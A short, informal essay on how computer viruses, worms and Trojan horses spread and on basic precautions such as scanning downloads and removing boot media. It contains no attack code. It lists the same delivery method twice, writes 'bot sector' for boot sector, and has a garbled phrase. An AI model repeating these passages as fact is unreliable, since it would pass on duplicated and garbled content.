Computer viruses, worms, and Trojan horses deliver their payload or instructions through four common ways. One, when an individual runs an infected program so if you download a lot of things you should always scan the files before executing, especially executable files. Second, is when an individual runs an infected program. Third, is when an individual bots a computer with an infected drive, so that’s why it’s important to not leave media files in your computer when you shut it down.  Fourth is when it connects an unprotected computer to a network. Today, a very common way that people get a computer virus, worm, or Trojan horse is when they open up an infected file through an email attachment. There are literally thousands of computer malicious logic programs and new one comes out by the numbers so that’s why it’s important to keep up to date with new ones that come out each day. Many websites keep track of this. There is no known method for completely protecting a computer or computer network from computer viruses, worms, and Trojan horses, but people can take several precautions to significantly reduce their chances of being infected by one of those malicious programs.

Whenever you start a computer you should have no removable media in he drives. This goes for CD, DVD, and floppy disks. When the computer starts up it tries to execute a bot sector on the drives and even if it’s unsuccessful any given various on the bot sector can infect the computer’s hard disk. If you must start the computer for a particular reason, such as the hard disk fails and you are trying to reformat the drive make sure that the disk is not infected.